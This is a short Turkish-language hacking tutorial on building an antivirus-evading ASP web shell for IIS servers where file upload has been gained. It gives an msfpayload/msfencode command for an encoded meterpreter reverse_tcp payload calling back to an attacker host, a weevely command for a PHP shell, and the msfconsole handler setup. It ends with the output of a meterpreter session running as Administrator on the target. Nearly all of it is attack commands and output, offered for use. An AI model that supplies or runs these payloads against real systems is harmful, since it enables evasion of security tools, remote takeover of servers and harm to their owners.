Antivirüsler Tarafınfan Yakalanamayan ASP Shell Oluşturulması

Hedef Web Sunucuda (IIS-windows) eğer Dosya yükleme hakkı elde edersek , antivirüsler tarafından yakalanamayan asp shell dosyası kullanarak hedef web sunucuyu ele geçirebiliriz.

msfpayload windows/meterpreter/reverse_tcp LHOST=kali-sunucu-ipsi LPORT=443 R | msfencode -t raw -e x86/shikata_ga_nai -c3 | msfencode -t asp -o sh.asp

#
#msfpayload komutu ile antivirüsler tarafından yakalanamayan asp shell oluşturulur ve dosya yükleme hakkımız olan #web sunucuna yüklenir.
#

weevely http://192.168.10.100/sh.php abc123
#
#Oluşturduğumuz php shell dosyasını web sunucusuna attıktan sonra hedef web sunucusundan shell elde etmek için tekrar weevely komutunu kullanırız.
#

root@kali:~# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.10.23 ((Kali sunucsunun İp'si)

msf exploit(handler) > set LPORT 443

msf exploit(handler) > exploit

meterpreter > getuid
Server username: alipc\Administrator
meterpreter > sysinfo
Computer : ALIPC
OS : Windows 8 (Build 9200).
Architecture : x64 (Current Process is WOW64)
System Language : tr_TR
Meterpreter : x86/win32
meterpreter >

#
#asp shell dosyası web sunucusuna yükledikten sonra dosya tarayıcı ile çalıştırılır.
#(http://hedef-web-sunuc-ip/sh.asp)
#Dosya Çalıştırıldıktan sonra Meterpreter Oturumu elde edilir.
#